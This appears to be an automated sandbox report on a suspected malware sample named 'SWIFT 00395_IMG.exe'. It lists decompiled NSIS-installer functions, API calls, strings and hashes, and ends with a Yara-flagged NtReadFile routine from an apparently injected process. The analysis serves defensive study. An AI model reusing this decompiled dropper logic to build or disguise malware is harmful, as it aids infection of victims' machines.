                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CharNext
                                                                                    • String ID: C:\Users\user\AppData\Local\Temp\nspD9BF.tmp
                                                                                    • API String ID: 3213498283-2918866483
                                                                                    • Opcode ID: 822f20ec9a8b35058aaebb4724fdb7f7397eab756ad02150ec19b841d432d8ed
                                                                                    • Instruction ID: 9a9653d8387983e914f74c1f8e9a863a5ef5a61ad4bce0684ac50a06ae96742d
                                                                                    • Opcode Fuzzy Hash: 822f20ec9a8b35058aaebb4724fdb7f7397eab756ad02150ec19b841d432d8ed
                                                                                    • Instruction Fuzzy Hash: 70F06291D0CF612BFB3256684C84B775E88CB55359F18407BDA80EA2C1C27C58808B9A
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00403949() {
                                                                                    				void* _t1;
                                                                                    				void* _t2;
                                                                                    				signed int _t11;
                                                                                    
                                                                                    				_t1 =  *0x40a018; // 0x28c
                                                                                    				if(_t1 != 0xffffffff) {
                                                                                    					CloseHandle(_t1);
                                                                                    					 *0x40a018 =  *0x40a018 | 0xffffffff;
                                                                                    				}
                                                                                    				_t2 =  *0x40a01c; // 0x2b0
                                                                                    				if(_t2 != 0xffffffff) {
                                                                                    					CloseHandle(_t2);
                                                                                    					 *0x40a01c =  *0x40a01c | 0xffffffff;
                                                                                    					_t11 =  *0x40a01c;
                                                                                    				}
                                                                                    				E004039A6();
                                                                                    				return E004059F0(_t11, "C:\\Users\\jones\\AppData\\Local\\Temp\\nspD9BF.tmp", 7);
                                                                                    			}






                                                                                    0x00403949
                                                                                    0x00403958
                                                                                    0x0040395b
                                                                                    0x0040395d
                                                                                    0x0040395d
                                                                                    0x00403964
                                                                                    0x0040396c
                                                                                    0x0040396f
                                                                                    0x00403971
                                                                                    0x00403971
                                                                                    0x00403971
                                                                                    0x00403978
                                                                                    0x0040398a

                                                                                    APIs
                                                                                    • CloseHandle.KERNEL32(0000028C,C:\Users\user\AppData\Local\Temp\,00403780,?,?,00000007,00000009,0000000B), ref: 0040395B
                                                                                    • CloseHandle.KERNEL32(000002B0,C:\Users\user\AppData\Local\Temp\,00403780,?,?,00000007,00000009,0000000B), ref: 0040396F
                                                                                    Strings
                                                                                    • C:\Users\user\AppData\Local\Temp\, xrefs: 0040394E
                                                                                    • C:\Users\user\AppData\Local\Temp\nspD9BF.tmp, xrefs: 0040397F
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CloseHandle
                                                                                    • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nspD9BF.tmp
                                                                                    • API String ID: 2962429428-2486305476
                                                                                    • Opcode ID: 462e3e9a24158b25b8329b1cd15e1f965bb5a7db837425cedf417ff9a75e81db
                                                                                    • Instruction ID: e7b4e10e42ecc32fc510515b664fd575b34ef2c347d966a0cc54db6954a3096e
                                                                                    • Opcode Fuzzy Hash: 462e3e9a24158b25b8329b1cd15e1f965bb5a7db837425cedf417ff9a75e81db
                                                                                    • Instruction Fuzzy Hash: 6AE08C71944B1896C130AF7CAD4E9953B1C9B413367244726F078F20F0C7789AA75AEE
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 89%
                                                                                    			E004052C3(struct HWND__* _a4, int _a8, int _a12, long _a16) {
                                                                                    				int _t15;
                                                                                    				long _t16;
                                                                                    
                                                                                    				_t15 = _a8;
                                                                                    				if(_t15 != 0x102) {
                                                                                    					if(_t15 != 0x200) {
                                                                                    						_t16 = _a16;
                                                                                    						L7:
                                                                                    						if(_t15 == 0x419 &&  *0x420d3c != _t16) {
                                                                                    							_push(_t16);
                                                                                    							_push(6);
                                                                                    							 *0x420d3c = _t16;
                                                                                    							E00404C7F();
                                                                                    						}
                                                                                    						L11:
                                                                                    						return CallWindowProcA( *0x420d44, _a4, _t15, _a12, _t16);
                                                                                    					}
                                                                                    					if(IsWindowVisible(_a4) == 0) {
                                                                                    						L10:
                                                                                    						_t16 = _a16;
                                                                                    						goto L11;
                                                                                    					}
                                                                                    					_t16 = E00404BFF(_a4, 1);
                                                                                    					_t15 = 0x419;
                                                                                    					goto L7;
                                                                                    				}
                                                                                    				if(_a12 != 0x20) {
                                                                                    					goto L10;
                                                                                    				}
                                                                                    				E004042F8(0x413);
                                                                                    				return 0;
                                                                                    			}





                                                                                    0x004052c7
                                                                                    0x004052d1
                                                                                    0x004052ed
                                                                                    0x0040530f
                                                                                    0x00405312
                                                                                    0x00405318
                                                                                    0x00405322
                                                                                    0x00405323
                                                                                    0x00405325
                                                                                    0x0040532b
                                                                                    0x0040532b
                                                                                    0x00405335
                                                                                    0x00000000
                                                                                    0x00405343
                                                                                    0x004052fa
                                                                                    0x00405332
                                                                                    0x00405332
                                                                                    0x00000000
                                                                                    0x00405332
                                                                                    0x00405306
                                                                                    0x00405308
                                                                                    0x00000000
                                                                                    0x00405308
                                                                                    0x004052d7
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004052de
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • IsWindowVisible.USER32(?), ref: 004052F2
                                                                                    • CallWindowProcA.USER32 ref: 00405343
                                                                                      • Part of subcall function 004042F8: SendMessageA.USER32 ref: 0040430A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Window$CallMessageProcSendVisible
                                                                                    • String ID:
                                                                                    • API String ID: 3748168415-3916222277
                                                                                    • Opcode ID: 267171b98df2b592aa392984fc350499d3aadededac15f67a9f8d07fb1712162
                                                                                    • Instruction ID: 59df81840e01a834e8184741018ea8653580e9c1f0e113f815542439c818a584
                                                                                    • Opcode Fuzzy Hash: 267171b98df2b592aa392984fc350499d3aadededac15f67a9f8d07fb1712162
                                                                                    • Instruction Fuzzy Hash: 61017C71200608AFDF209F51DD81AAB3B66EB94394F50453BFA04761D1C7BA9C929F2D
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 53%
                                                                                    			E00405CAE(void* __eflags, intOrPtr _a4) {
                                                                                    				int _t11;
                                                                                    				signed char* _t12;
                                                                                    				intOrPtr _t18;
                                                                                    				intOrPtr* _t21;
                                                                                    				void* _t22;
                                                                                    
                                                                                    				E00406228(0x422158, _a4);
                                                                                    				_t21 = E00405C59(0x422158);
                                                                                    				if(_t21 != 0) {
                                                                                    					E00406503(_t21);
                                                                                    					if(( *0x42475c & 0x00000080) == 0) {
                                                                                    						L5:
                                                                                    						_t22 = _t21 - 0x422158;
                                                                                    						while(1) {
                                                                                    							_t11 = lstrlenA(0x422158);
                                                                                    							_push(0x422158);
                                                                                    							if(_t11 <= _t22) {
                                                                                    								break;
                                                                                    							}
                                                                                    							_t12 = E0040659C();
                                                                                    							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
                                                                                    								E00405C07(0x422158);
                                                                                    								continue;
                                                                                    							} else {
                                                                                    								goto L1;
                                                                                    							}
                                                                                    						}
                                                                                    						E00405BC0();
                                                                                    						return 0 | GetFileAttributesA(??) != 0xffffffff;
                                                                                    					}
                                                                                    					_t18 =  *_t21;
                                                                                    					if(_t18 == 0 || _t18 == 0x5c) {
                                                                                    						goto L1;
                                                                                    					} else {
                                                                                    						goto L5;
                                                                                    					}
                                                                                    				}
                                                                                    				L1:
                                                                                    				return 0;
                                                                                    			}








                                                                                    0x00405cba
                                                                                    0x00405cc5
                                                                                    0x00405cc9
                                                                                    0x00405cd0
                                                                                    0x00405cdc
                                                                                    0x00405ce8
                                                                                    0x00405ce8
                                                                                    0x00405d00
                                                                                    0x00405d01
                                                                                    0x00405d08
                                                                                    0x00405d09
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405cec
                                                                                    0x00405cf3
                                                                                    0x00405cfb
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405cf3
                                                                                    0x00405d0b
                                                                                    0x00000000
                                                                                    0x00405d1f
                                                                                    0x00405cde
                                                                                    0x00405ce2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405ce2
                                                                                    0x00405ccb
                                                                                    0x00000000

                                                                                    APIs
                                                                                      • Part of subcall function 00406228: lstrcpynA.KERNEL32(?,?,00000400,00403533,00423F40,NSIS Error,?,00000007,00000009,0000000B), ref: 00406235
                                                                                      • Part of subcall function 00405C59: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,?,00405CC5,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,73BCFA90,?,73BCF560,00405A10,?,73BCFA90,73BCF560,00000000), ref: 00405C67
                                                                                      • Part of subcall function 00405C59: CharNextA.USER32(00000000), ref: 00405C6C
                                                                                      • Part of subcall function 00405C59: CharNextA.USER32(00000000), ref: 00405C80
                                                                                    • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,00000000,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,73BCFA90,?,73BCF560,00405A10,?,73BCFA90,73BCF560,00000000), ref: 00405D01
                                                                                    • GetFileAttributesA.KERNEL32(C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,00000000,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,73BCFA90,?,73BCF560,00405A10,?,73BCFA90,73BCF560), ref: 00405D11
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                                                                    • String ID: C:\Users\user\AppData\Local\Temp\nspD9BF.tmp
                                                                                    • API String ID: 3248276644-2918866483
                                                                                    • Opcode ID: 8df147695d567d3479fd9fb611e01f2e4261d231372b324086cf0464a71b3f28
                                                                                    • Instruction ID: 810c58eff44cea92ea74d6fc536401bd0fed09a955b2fb282e84a1b8880da462
                                                                                    • Opcode Fuzzy Hash: 8df147695d567d3479fd9fb611e01f2e4261d231372b324086cf0464a71b3f28
                                                                                    • Instruction Fuzzy Hash: 31F0F921109F5125E62232761D09B9F1E54CD97324745457FF8A1B23D2CB3C8853DD6D
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 90%
                                                                                    			E0040610F(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, char* _a12, char* _a16, signed int _a20) {
                                                                                    				int _v8;
                                                                                    				long _t21;
                                                                                    				long _t24;
                                                                                    				char* _t30;
                                                                                    
                                                                                    				asm("sbb eax, eax");
                                                                                    				_v8 = 0x400;
                                                                                    				_t21 = E004060AE(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
                                                                                    				_t30 = _a16;
                                                                                    				if(_t21 != 0) {
                                                                                    					L4:
                                                                                    					 *_t30 =  *_t30 & 0x00000000;
                                                                                    				} else {
                                                                                    					_t24 = RegQueryValueExA(_a20, _a12, 0,  &_a8, _t30,  &_v8);
                                                                                    					_t21 = RegCloseKey(_a20);
                                                                                    					_t30[0x3ff] = _t30[0x3ff] & 0x00000000;
                                                                                    					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
                                                                                    						goto L4;
                                                                                    					}
                                                                                    				}
                                                                                    				return _t21;
                                                                                    			}







                                                                                    0x0040611d
                                                                                    0x0040611f
                                                                                    0x00406137
                                                                                    0x0040613c
                                                                                    0x00406141
                                                                                    0x0040617e
                                                                                    0x0040617e
                                                                                    0x00406143
                                                                                    0x00406155
                                                                                    0x00406160
                                                                                    0x00406166
                                                                                    0x00406170
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406170
                                                                                    0x00406183

                                                                                    APIs
                                                                                    • RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,00000400,uvlcopdlxoed,00420530,?,?,?,00000002,uvlcopdlxoed,?,004063C4,80000002), ref: 00406155
                                                                                    • RegCloseKey.ADVAPI32(?,?,004063C4,80000002,Software\Microsoft\Windows\CurrentVersion,uvlcopdlxoed,uvlcopdlxoed,uvlcopdlxoed,?,00420530), ref: 00406160
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CloseQueryValue
                                                                                    • String ID: uvlcopdlxoed
                                                                                    • API String ID: 3356406503-3939465813
                                                                                    • Opcode ID: 2abccbe21afdcf7b2969046f12d50590a05fc3777738c5024e31ebbb51756706
                                                                                    • Instruction ID: a564c047acf5d73f9aa125f5b2549426a44a408a2c37113ac8a3848fd8f43ee5
                                                                                    • Opcode Fuzzy Hash: 2abccbe21afdcf7b2969046f12d50590a05fc3777738c5024e31ebbb51756706
                                                                                    • Instruction Fuzzy Hash: 8B015A72500209BBDF228F61CC0AFDB3BA8EF55364F01403AF95AA6191D678D964DBA4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E004058C7(CHAR* _a4) {
                                                                                    				struct _PROCESS_INFORMATION _v20;
                                                                                    				int _t7;
                                                                                    
                                                                                    				0x422558->cb = 0x44;
                                                                                    				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x422558,  &_v20);
                                                                                    				if(_t7 != 0) {
                                                                                    					CloseHandle(_v20.hThread);
                                                                                    					return _v20.hProcess;
                                                                                    				}
                                                                                    				return _t7;
                                                                                    			}





                                                                                    0x004058d0
                                                                                    0x004058f0
                                                                                    0x004058f8
                                                                                    0x004058fd
                                                                                    0x00000000
                                                                                    0x00405903
                                                                                    0x00405907

                                                                                    APIs
                                                                                    • CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00422558,Error launching installer), ref: 004058F0
                                                                                    • CloseHandle.KERNEL32(?), ref: 004058FD
                                                                                    Strings
                                                                                    • Error launching installer, xrefs: 004058DA
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CloseCreateHandleProcess
                                                                                    • String ID: Error launching installer
                                                                                    • API String ID: 3712363035-66219284
                                                                                    • Opcode ID: c3ebc3f9998ac015d8c7df4fd8e4914833f251e822556357c2f70f84276a4d27
                                                                                    • Instruction ID: 5185fe82c3568d3c8632712b5ff5a6750f12376067ae41ef0f6fc1d41a32777d
                                                                                    • Opcode Fuzzy Hash: c3ebc3f9998ac015d8c7df4fd8e4914833f251e822556357c2f70f84276a4d27
                                                                                    • Instruction Fuzzy Hash: D6E0BFF4A00209BFEB109F64ED09F7B77ACEB04644F508425BE51F2150D77899658A78
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00405C07(char* _a4) {
                                                                                    				char* _t3;
                                                                                    				char* _t5;
                                                                                    
                                                                                    				_t5 = _a4;
                                                                                    				_t3 =  &(_t5[lstrlenA(_t5)]);
                                                                                    				while( *_t3 != 0x5c) {
                                                                                    					_t3 = CharPrevA(_t5, _t3);
                                                                                    					if(_t3 > _t5) {
                                                                                    						continue;
                                                                                    					}
                                                                                    					break;
                                                                                    				}
                                                                                    				 *_t3 =  *_t3 & 0x00000000;
                                                                                    				return  &(_t3[1]);
                                                                                    			}





                                                                                    0x00405c08
                                                                                    0x00405c12
                                                                                    0x00405c14
                                                                                    0x00405c1b
                                                                                    0x00405c23
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405c23
                                                                                    0x00405c25
                                                                                    0x00405c2a

                                                                                    APIs
                                                                                    • lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402F5D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFT 00395_IMG.exe,C:\Users\user\Desktop\SWIFT 00395_IMG.exe,80000000,00000003), ref: 00405C0D
                                                                                    • CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F5D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFT 00395_IMG.exe,C:\Users\user\Desktop\SWIFT 00395_IMG.exe,80000000,00000003), ref: 00405C1B
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CharPrevlstrlen
                                                                                    • String ID: C:\Users\user\Desktop
                                                                                    • API String ID: 2709904686-224404859
                                                                                    • Opcode ID: 7cfe4fb9fb084f73e38b743788eacbc948a8cb50b3ca3a16f7beb83d38b7a1d7
                                                                                    • Instruction ID: 741041d8a9fca0cd730fa631f59021aaf6e5318b071c559ffeb457c432b97b3b
                                                                                    • Opcode Fuzzy Hash: 7cfe4fb9fb084f73e38b743788eacbc948a8cb50b3ca3a16f7beb83d38b7a1d7
                                                                                    • Instruction Fuzzy Hash: 09D0C77241DA706EF70363149D05B9F6A48DF57700F1A44A6E581A6191C77C4C524BFD
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00405D26(void* __ecx, CHAR* _a4, CHAR* _a8) {
                                                                                    				int _v8;
                                                                                    				int _t12;
                                                                                    				int _t14;
                                                                                    				int _t15;
                                                                                    				CHAR* _t17;
                                                                                    				CHAR* _t27;
                                                                                    
                                                                                    				_t12 = lstrlenA(_a8);
                                                                                    				_t27 = _a4;
                                                                                    				_v8 = _t12;
                                                                                    				while(lstrlenA(_t27) >= _v8) {
                                                                                    					_t14 = _v8;
                                                                                    					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
                                                                                    					_t15 = lstrcmpiA(_t27, _a8);
                                                                                    					_t27[_v8] =  *(_t14 + _t27);
                                                                                    					if(_t15 == 0) {
                                                                                    						_t17 = _t27;
                                                                                    					} else {
                                                                                    						_t27 = CharNextA(_t27);
                                                                                    						continue;
                                                                                    					}
                                                                                    					L5:
                                                                                    					return _t17;
                                                                                    				}
                                                                                    				_t17 = 0;
                                                                                    				goto L5;
                                                                                    			}









                                                                                    0x00405d36
                                                                                    0x00405d38
                                                                                    0x00405d3b
                                                                                    0x00405d67
                                                                                    0x00405d40
                                                                                    0x00405d49
                                                                                    0x00405d4e
                                                                                    0x00405d59
                                                                                    0x00405d5c
                                                                                    0x00405d78
                                                                                    0x00405d5e
                                                                                    0x00405d65
                                                                                    0x00000000
                                                                                    0x00405d65
                                                                                    0x00405d71
                                                                                    0x00405d75
                                                                                    0x00405d75
                                                                                    0x00405d6f
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F81,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D36
                                                                                    • lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,00405F81,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D4E
                                                                                    • CharNextA.USER32(00000000,?,00000000,00405F81,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D5F
                                                                                    • lstrlenA.KERNEL32(00000000,?,00000000,00405F81,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D68
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: lstrlen$CharNextlstrcmpi
                                                                                    • String ID:
                                                                                    • API String ID: 190613189-0
                                                                                    • Opcode ID: 2d92a05f35b020f23b5ffca9bb537fc612b2b61cfc11000e71e0c2b875cbb8c3
                                                                                    • Instruction ID: 00b114ba7cac9785f06d25343f2ff2c8ce87c9cf7580b170eb884579fc1bcc0a
                                                                                    • Opcode Fuzzy Hash: 2d92a05f35b020f23b5ffca9bb537fc612b2b61cfc11000e71e0c2b875cbb8c3
                                                                                    • Instruction Fuzzy Hash: 45F0F631100818BFCB02DFA4CD04D9EBBA8EF55354B2580BBE840FB210D634DE01AFA9
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Executed Functions

                                                                                    APIs
                                                                                    • NtReadFile.NTDLL(B=A,5E972F59,FFFFFFFF,00413A01,?,?,B=A,?,00413A01,FFFFFFFF,5E972F59,00413D42,?,00000000), ref: 004182A5
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileRead
                                                                                    • String ID: B=A$B=A$h
                                                                                    • API String ID: 2738559852-2505016320
                                                                                    • Opcode ID: 3151ee68efd87368e6b9746f55fcaff34dd83356d52dc700489bb360993dbd93
                                                                                    • Instruction ID: f0dc8bc04f2f66b57f6830324d24d1c463d239ca8c403873ffac04080b574f36
                                                                                    • Opcode Fuzzy Hash: 3151ee68efd87368e6b9746f55fcaff34dd83356d52dc700489bb360993dbd93
                                                                                    • Instruction Fuzzy Hash: D7F0EC71200108AFDB14DF99DC84EDB7BA9AF8D354F15825DFA0D97241D630E815CBA4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 37%
                                                                                    			E00418260(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
                                                                                    				void* _t18;
                                                                                    				void* _t27;
                                                                                    				intOrPtr* _t28;
                                                                                    
                                                                                    				_t13 = _a4;
                                                                                    				_t28 = _a4 + 0xc48;
                                                                                    				E00418DB0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
                                                                                    				_t6 =  &_a32; // 0x413d42
                                                                                    				_t12 =  &_a8; // 0x413d42
                                                                                    				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
                                                                                    				return _t18;
                                                                                    			}






                                                                                    0x00418263
                                                                                    0x0041826f
                                                                                    0x00418277
                                                                                    0x00418282
                                                                                    0x0041829d
                                                                                    0x004182a5
                                                                                    0x004182a9

                                                                                    APIs
                                                                                    • NtReadFile.NTDLL(B=A,5E972F59,FFFFFFFF,00413A01,?,?,B=A,?,00413A01,FFFFFFFF,5E972F59,00413D42,?,00000000), ref: 004182A5
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FileRead
